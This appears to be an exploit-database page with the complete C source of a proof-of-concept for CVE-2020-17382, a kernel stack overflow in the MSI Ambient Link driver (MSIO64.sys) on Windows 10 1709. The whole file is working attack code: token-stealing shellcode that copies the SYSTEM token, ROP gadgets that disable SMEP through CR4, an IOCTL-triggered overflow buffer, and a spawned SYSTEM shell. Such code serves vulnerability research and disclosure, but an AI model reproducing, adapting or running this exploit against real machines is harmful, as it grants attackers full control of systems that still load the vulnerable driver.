Share
## https://sploitus.com/exploit?id=PACKETSTORM:159315
/*  
Exploit Title: MSI Ambient Link Driver 1.0.0.8 - Local Privilege Escalation  
Date: 2020-09-24  
Exploit Author: Matteo Malvica  
Vendor Homepage: https://www.msi.com  
Software Link: https://msi.gm/ABLTMNB  
Driver: MSIO64.sys  
SHA256: 525D9B51A80CA0CD4C5889A96F857E73F3A80DA1FFBAE59851E0F51BDFB0B6CD  
Version: 1.0.0.8  
Tested on: Windows 10 1709 [19041.1.amd64fre.vb_release.191206-1406]  
MSI Ambient Link Driver 1.0.0.8 Kernel Stack Based Buffer Overflow / Local Privilege Escalation  
CVE: CVE-2020-17382  
Writeup: https://www.matteomalvica.com/blog/2020/09/24/weaponizing-cve-2020-17382/  
Original advisory: https://www.coresecurity.com/core-labs/advisories/msi-ambient-link-multiple-vulnerabilities  
*/  
  
#include <iostream>  
#include <string>  
#include <Windows.h>  
#include <Psapi.h>  
  
#pragma warning( disable : 6387 )  
  
VOID eopMsio(HANDLE hFile, INT64 kernel_base, DWORD pid, DWORD IoControlCode) {  
// SHELLCODE FOR 1709  
BYTE token_steal[] =  
"\x65\x48\x8B\x14\x25\x88\x01\x00\x00" // mov rdx, [gs:188h] ; Get _ETHREAD pointer from KPCR  
"\x4C\x8B\x82\xB8\x00\x00\x00" // mov r8, [rdx + b8h] ; _EPROCESS (kd> u PsGetCurrentProcess)  
"\x4D\x8B\x88\xe8\x02\x00\x00" // mov r9, [r8 + 2e8h] ; ActiveProcessLinks list head  
"\x49\x8B\x09" // mov rcx, [r9] ; Follow link to first process in list  
//find_system_proc:  
"\x48\x8B\x51\xF8" // mov rdx, [rcx - 8] ; Offset from ActiveProcessLinks to UniqueProcessId  
"\x48\x83\xFA\x04" // cmp rdx, 4 ; Process with ID 4 is System process  
"\x74\x05" // jz found_system ; Found SYSTEM token  
"\x48\x8B\x09" // mov rcx, [rcx] ; Follow _LIST_ENTRY Flink pointer  
"\xEB\xF1" // jmp find_system_proc ; Loop  
//found_system:  
"\x48\x8B\x41\x70" // mov rax, [rcx + 70h] ; Offset from ActiveProcessLinks to Token  
"\x24\xF0" // and al, 0f0h ; Clear low 4 bits of _EX_FAST_REF structure  
//find cmd  
"\x48\x8B\x51\xF8" // mov rdx, [rcx-8] ;ActiveProcessLinks - 8 = UniqueProcessId  
"\x48\x81\xFA\x99\x99\x00\x00" // cmp rdx, 0d54h ;UniqueProcessId == ZZZZ? (PLACEHOLDER)  
"\x74\x05" // jz found_cmd ;YES - move on  
"\x48\x8B\x09" // mov rcx, [rcx] ;NO - next entry in list  
"\xEB\xEE" // jmp find_cmd ;loop  
// found cmd  
"\x48\x89\x41\x70" // mov [rcx+70h], rax ;copy SYSTEM token over top of this process's token  
"\x48\x31\xc9" // xor rcx rcx ; clear some registers to avoid issues while unwinding the call stack  
"\x48\x31\xc0" // xor rax rax  
"\x48\x31\xf6" // xor rsi,rsi  
"\x48\x31\xff" // xor rdi, rdi  
"\x4D\x31\xC0" // xor r8, r8  
"\x48\xc7\xc1\xf8\x06\x15\x00" // mov rcx, 0x1506f8 ; move original cr4 value into rcx  
"\xc3"; // ret ; RET  
  
token_steal[54] = pid;  
token_steal[55] = pid >> 8;  
  
LPVOID allocated_shellcode = VirtualAlloc(NULL,  
sizeof(token_steal),  
MEM_COMMIT | MEM_RESERVE,  
PAGE_EXECUTE_READWRITE);  
  
memcpy(allocated_shellcode, token_steal, sizeof(token_steal));  
  
INT64 pop_rcx_offset = kernel_base + 0x15fc70; // gadget 1 1709 - pop rcx ; ret  
INT64 mov_cr4_offset = kernel_base + 0x76a02; // gadget 2 1709 - mov cr4, ecx ; ret  
INT64 wbindv_offset = kernel_base + 0x1175c0;; // gadget 3 1709 - wbinvd; ret  
INT64 rcx_value = 0x506f8; // value we want placed in cr4 in order to disable SMEP  
INT64 rcx_old_value = 0x1506f8; // original cr4 value   
INT64 ret = pop_rcx_offset + 1; // RET NOP  
  
puts("[+] SMEP disabled");  
  
BYTE input_buff[136] = { 0 };  
memset(input_buff, '\x41', 64);  
memset(input_buff, '\x42', 8); // dummy RBP  
memcpy(input_buff + 72, (PINT64)&pop_rcx_offset, 8); // pop rcx  
memcpy(input_buff + 80, (PINT64)&rcx_value, 8); // disable SMEP value  
memcpy(input_buff + 88, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx  
memcpy(input_buff + 96, (PINT64)&wbindv_offset, 8); // wbinvd; ret  
memcpy(input_buff + 104, (PINT64)&allocated_shellcode, 8);// shellcode  
memcpy(input_buff + 112, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx   
memcpy(input_buff + 120, (PINT64)&ret, 8); // RETNOP to restore the stack  
memcpy(input_buff + 128, (PINT64)&ret, 8); // RETNOP to restore the stack  
  
printf("[+] Payload buffer located at: 0x%p\n", &allocated_shellcode);  
  
DWORD lpBytesReturned = 0x0;  
BOOL triggerIOCTL = DeviceIoControl(hFile,  
IoControlCode,  
input_buff,  
sizeof(input_buff),  
NULL,  
0,  
&lpBytesReturned,  
NULL);  
  
if (!triggerIOCTL) {  
printf("[!] DeviceIoControl failed: %d\n", GetLastError());  
}  
else {  
puts("[+] SMEP re-enabled");  
puts("[+] Enjoy your SYSTEM shell\n");  
}  
  
system("start cmd.exe");  
}  
  
LPVOID GetBaseAddr(const char* drvname) {  
LPVOID drivers[1024];  
DWORD cbNeeded;  
int nDrivers, i = 0;  
  
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {  
char szDrivers[1024];  
nDrivers = cbNeeded / sizeof(drivers[0]);  
for (i = 0; i < nDrivers; i++) {  
if (GetDeviceDriverBaseNameA(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {  
if (strcmp(szDrivers, drvname) == 0) {  
return drivers[i];  
}  
}  
}  
}  
return 0;  
}  
  
HANDLE GetDriverHandle() {  
HANDLE hMsio;  
  
hMsio = CreateFileA("\\\\.\\MsIo",  
FILE_READ_ACCESS | FILE_WRITE_ACCESS,  
FILE_SHARE_READ | FILE_SHARE_WRITE,  
NULL,  
OPEN_EXISTING,  
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,  
NULL);  
  
if (hMsio == INVALID_HANDLE_VALUE) {  
printf("[-] Error obtaining an handle to the driver: %d\n", GetLastError());  
exit(1);  
}  
  
return hMsio;  
}  
  
int main() {  
puts("[*] CVE-2020-17382 - Win10 1709 - PoC by Matteo 'uf0' Malvica");  
DWORD IoControlCode = 0x80102040;  
HANDLE hDevice = GetDriverHandle();  
INT64 nt = (INT64)GetBaseAddr("ntoskrnl.exe");  
DWORD pid = GetCurrentProcessId();  
  
eopMsio(hDevice, nt, pid, IoControlCode);  
  
return 0;  
}